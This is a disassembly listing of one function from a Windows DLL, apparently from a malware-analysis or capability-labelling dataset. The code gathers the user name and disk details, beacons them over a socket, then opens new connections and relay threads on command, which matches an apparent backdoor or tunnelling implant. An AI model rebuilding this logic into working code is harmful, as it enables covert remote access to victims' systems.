Function at 0x180001e02
Capabilities:
Create tcp socket
Create thread
Get disk information
Get session user name
Get socket status
Set socket configuration

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
push rbp
mov rbp, rsp
push rbx
push rdi
push rsi
push r12
push r13
push r14
push r15
sub rsp, 0xe08
lea rdx, [rbp - 0x38]
sub rdx, rsp
sub rsp, 0x20
lea rcx, [rsp + 0x20]
call fcn.180003749
add rsp, 0x20
sub rsp, 0x20
mov rcx, 0
mov rdx, 0
mov r8, 1
mov r9, 0
call qword [sym.imp.kernel32.dll_CreateEventA]
add rsp, 0x20
mov qword [rbp - 0xdc8], rax
cmp qword [rbp + 0x10], 0
je 0x180001ead
sub rsp, 0x20
mov rcx, 0
mov rdx, 0x10000
mov r8, 0x3000
mov r9, 4
call qword [sym.imp.kernel32.dll_VirtualAlloc]
add rsp, 0x20
test rax, rax
je 0x180002665
mov qword [rbp - 0xb0], rax
sub rsp, 0x20
mov rcx, 0
mov rdx, 0x10000
mov r8, 0x3000
mov r9, 4
call qword [sym.imp.kernel32.dll_VirtualAlloc]
add rsp, 0x20
test rax, rax
je 0x180002665
mov qword [rbp - 0x120], rax
mov rdi, qword [rbp - 0x120]
mov qword [rdi], 0x100
sub rsp, 0x20
mov rcx, 2
lea rdx, [rdi + 0x52]
mov r8, rdi
call qword [sym.imp.secur32.dll_GetUserNameExA]
add rsp, 0x20
sub rsp, 0x20
lea rcx, [rbp - 0x770]
mov rdx, qword [rbp + 0x10]
mov r8, qword [rbp + 0x18]
mov r9, 0xa
call fcn.180002f81
add rsp, 0x20
test rax, rax
je 0x180002665
mov qword [rbp - 0xc0], 2
mov qword [rbp - 0xb8], 4
sub rsp, 0x20
lea rcx, [0x180005089]
lea rdx, [rdi + 0x1c]
mov r8, 0x32
call fcn.1800038e9
add rsp, 0x20
sub rsp, 0x20
call fcn.180002d61
add rsp, 0x20
mov word [rdi + 0x4e], ax
sub rsp, 0x20
call fcn.180002df7
add rsp, 0x20
sub rax, 0x2000
test rax, rax
jle 0x180001f9f
mov byte [rdi + 0x50], 2
mov byte [rdi + 0x51], 1
mov byte [rdi + 0x7b], 0
sub rsp, 0x40
mov rcx, 0
mov rdx, 0
mov r8, 0
lea r9, [rdi + 0x7c]
mov qword [rsp + 0x20], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x38], 0
call qword [sym.imp.kernel32.dll_GetVolumeInformationA]
add rsp, 0x40
sub rsp, 0x20
lea rcx, [0x180005089]
mov rdx, 0x32
lea r8, [rdi + 0x4e]
mov r9, 0x32
call fcn.180002a44
add rsp, 0x20
mov rax, qword [rbp - 0x120]
add rax, 0x1c
sub rsp, 0x20
mov rcx, qword [rbp - 0x770]
mov rdx, rax
mov r8, 0x64
mov r9, 0
call fcn.180002723
add rsp, 0x20
sub rsp, 0x20
lea rcx, [rbp - 0xd0]
lea rdx, [rbp - 0xe0]
mov r8, 8
call fcn.1800038e9
add rsp, 0x20
cmp qword [rbp - 0xd0], 0
jne 0x18000219f
cmp qword [rbp - 0x130], 4
je 0x18000219f
sub rsp, 0x30
mov rcx, qword [rbp - 0x770]
mov rdx, 0
lea r8, [rbp - 0x118]
mov r9, 0x3c
mov qword [rsp + 0x20], 0
call fcn.180002ca9
add rsp, 0x30
sub rsp, 0x30
mov rcx, 0
lea rdx, [rbp - 0x118]
mov r8, 0
mov r9, 0
lea rax, [rbp - 0x100]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ws2_32.dll_select]
add rsp, 0x30
cmp eax, 0
jl 0x180002665
cmp rax, 0
jne 0x18000219f
cmp qword [rbp - 0x128], 0
jne 0x180002665
cmp qword [rbp - 0x130], 0
jne 0x180002665
mov qword [rbp - 0xe10], 1
inc qword [rbp - 0xe30]
cmp qword [rbp - 0xe30], 2
je 0x180002665
mov qword [rbp - 0xe38], 0
sub rsp, 0x20
lea rcx, [0x180005089]
mov rdx, 0x32
lea r8, [rbp - 0xe38]
mov r9, 3
call fcn.180002a44
add rsp, 0x20
sub rsp, 0x20
mov rcx, qword [rbp - 0x770]
lea rdx, [rbp - 0xe38]
mov r8, 3
mov r9, qword [rbp - 0xdc8]
call fcn.180002723
add rsp, 0x20
jmp 0x180002048
mov rdi, qword [rbp - 0x120]
cmp qword [rbp - 0x128], 0
jne 0x1800021be
cmp qword [rbp - 0x130], 4
jne 0x180002562
cmp word [rdi + 2], 0
jne 0x180002210
cmp byte [rdi], 0xff
jne 0x1800021e2
cmp byte [rdi + 1], 0xfe
jne 0x1800021e2
mov qword [rbp - 0xe18], 1
jmp 0x180002665
cmp byte [rdi], 0
jne 0x1800021f0
cmp byte [rdi + 1], 0
jne 0x1800021f0
nop
jmp 0x18000220b
movzx ebx, byte [rdi + 1]
cmp qword [rbp + rbx*8 - 0x770], 0
je 0x18000220b
mov qword [rbp + rbx*8 - 0x770], 0
jmp 0x180002552
cmp qword [rbp - 0xd0], 0
jne 0x18000227f
sub rsp, 0x20
mov rcx, qword [rbp - 0x770]
mov rdx, qword [rbp - 0xb0]
mov r8, 0x10000
mov r9, 0
call fcn.180002844
add rsp, 0x20
test eax, eax
jle 0x180002665
mov qword [rbp - 0xd0], rax
mov qword [rbp - 0xe30], 0
sub rsp, 0x20
lea rcx, [rbp - 0xb0]
lea rdx, [rbp - 0xd8]
mov r8, 8
call fcn.1800038e9
add rsp, 0x20
mov rdx, qword [rbp - 0x128]
movzx r12d, word [rdi + 2]
sub r12, rdx
cmp qword [rbp - 0xd0], r12
ja 0x18000229e
mov r12, qword [rbp - 0xd0]
sub rsp, 0x20
mov rcx, qword [rbp - 0xd8]
lea rdx, [rdx + rdi + 4]
mov r8, r12
call fcn.1800038e9
add rsp, 0x20
add qword [rbp - 0xd8], r12
sub qword [rbp - 0xd0], r12
add qword [rbp - 0x128], r12
sub rsp, 0x20
lea rcx, [rbp - 0x128]
lea rdx, [rdi + 2]
mov r8, 2
call fcn.180003ac8
add rsp, 0x20
cmp rax, 1
jne 0x180002552
movzx eax, word [rdi + 2]
sub rsp, 0x20
lea rcx, [0x180005089]
mov rdx, 0x32
lea r8, [rdi + 4]
mov r9, rax
call fcn.180002a44
add rsp, 0x20
movzx ebx, byte [rdi + 1]
cmp word [rdi], 0xffff
jne 0x18000232e
nop
jmp 0x180002547
cmp byte [rdi], 0
jne 0x180002520
sub rsp, 0x20
mov rcx, 0
mov rdx, 0x10000
mov r8, 0x3000
mov r9, 4
call qword [sym.imp.kernel32.dll_VirtualAlloc]
add rsp, 0x20
test rax, rax
je 0x180002665
mov rsi, rax
sub rsp, 0x20
mov rcx, rdi
mov rdx, rsi
mov r8, 0x180
call fcn.1800038e9
add rsp, 0x20
lea rax, [rbp - 0xdb0]
mov qword [rsi + 0x180], rax
mov qword [rsi + 0x188], rbx
sub rsp, 0x20
lea rcx, [rbp - 0xdc8]
lea rdx, [rsi + 0x190]
mov r8, 8
call fcn.1800038e9
add rsp, 0x20
lea rax, [rbp - 0x770]
mov qword [rsi + 0x198], rax
mov qword [rsi + 0x1a0], rsi
lea rax, [rbp - 0xc0]
mov qword [rsi + 0x1a8], rax
lea rax, [rbp - 0xa0]
mov qword [rsi + 0x1b0], rax
lea rax, [rbp - 0x90]
mov qword [rsi + 0x1b8], rax
sub rsp, 0x20
lea rcx, [rbp - 0x60]
lea rdx, [rsi + 0x1c0]
mov r8, 8
call fcn.1800038e9
add rsp, 0x20
lea rax, [rbp - 0x48]
mov qword [rsi + 0x1c8], rax
sub rsp, 0x20
lea rcx, [rbp - 0xa8]
lea rdx, [rsi + 0x1d0]
mov r8, 8
call fcn.1800038e9
add rsp, 0x20
cmp byte [rsi + 7], 4
je 0x180002474
sub rsp, 0x20
mov rcx, 2
mov rdx, 1
mov r8, 6
call qword [sym.imp.ws2_32.dll_socket]
add rsp, 0x20
jmp 0x180002497
sub rsp, 0x20
mov rcx, 0x17
mov rdx, 1
mov r8, 6
call qword [sym.imp.ws2_32.dll_socket]
add rsp, 0x20
mov qword [rbp + rbx*8 - 0x770], rax
mov qword [rbp - 0xdd0], 1
sub rsp, 0x30
mov rcx, qword [rbp + rbx*8 - 0x770]
mov rdx, 6
mov r8, 1
lea r9, [rbp - 0xdd0]
mov qword [rsp + 0x20], 8
call qword [sym.imp.ws2_32.dll_setsockopt]
add rsp, 0x30
sub rsp, 0x30
mov rcx, 0
mov rdx, 0
lea r8, [0x180001795]
mov r9, rsi
mov qword [rsp + 0x20], 0
mov qword [rsp + 0x28], 0
call qword [sym.imp.kernel32.dll_CreateThread]
add rsp, 0x30
mov qword [rbp + rbx*8 - 0xdb0], rax
jmp 0x180002547
movzx eax, word [rdi + 2]
sub rsp, 0x20
mov rcx, qword [rbp + rbx*8 - 0x770]
lea rdx, [rdi + 4]
mov r8, rax
mov r9, 0
call fcn.180002723
add rsp, 0x20
mov qword [rbp - 0x128], 0
mov qword [rbp - 0x130], 0
jmp 0x180002660
cmp qword [rbp - 0xd0], 0
jne 0x1800025dc
sub rsp, 0x20
mov rcx, qword [rbp - 0x770]
mov rdx, qword [rbp - 0xb0]
mov r8, 0x10000
mov r9, 0
call fcn.180002844
add rsp, 0x20
test eax, eax
jle 0x180002665
mov qword [rbp - 0xe10], 1
mov qword [rbp - 0xd0], rax
mov qword [rbp - 0xe30], 0
sub rsp, 0x20
lea rcx, [rbp - 0xb0]
lea rdx, [rbp - 0xd8]
mov r8, 8
call fcn.1800038e9
add rsp, 0x20
mov r12, qword [rbp - 0x130]
mov r13, 4
sub r13, qword [rbp - 0x130]
cmp qword [rbp - 0xd0], r13
jae 0x180002601
mov r13, qword [rbp - 0xd0]
sub rsp, 0x20
mov rcx, qword [rbp - 0xd8]
lea rdx, [r12 + rdi]
mov r8, r13
call fcn.1800038e9
add rsp, 0x20
add qword [rbp - 0xd8], r13
sub qword [rbp - 0xd0], r13
add qword [rbp - 0x130], r13
cmp qword [rbp - 0x130], 4
jne 0x180002660
sub rsp, 0x20
lea rcx, [0x180005089]
mov rdx, 0x32
mov r8, rdi
mov r9, 4
call fcn.180002a44
add rsp, 0x20
jmp 0x180002048
sub rsp, 0x20
mov rcx, qword [rbp - 0x770]
call fcn.180002906
add rsp, 0x20
lea rsi, [rbp - 0x770]
mov rbx, 0xc8
mov qword [rsi], 0
add rsi, 8
dec rbx
jne 0x180002687
xor rax, rax
lea rdi, [rbp - 0xdb0]
mov rcx, 0xc8
repe scasd eax, dword [rdi]
jne 0x180002697
sub rsp, 0x20
mov rcx, qword [rbp - 0xdc8]
call qword [sym.imp.kernel32.dll_CloseHandle]
add rsp, 0x20
sub rsp, 0x20
lea rcx, [rbp - 0xb0]
call fcn.1800036df
add rsp, 0x20
sub rsp, 0x20
lea rcx, [rbp - 0x120]
call fcn.1800036df
add rsp, 0x20
cmp qword [rbp - 0xe18], 1
jne 0x180002708
sub rsp, 0x20
mov rcx, 0
call qword [sym.imp.kernel32.dll_ExitThread]
mov rax, qword [rbp - 0xe10]
add rsp, 0xe08
pop r15
pop r14
pop r13
pop r12
pop rsi
pop rdi
pop rbx
pop rbp
ret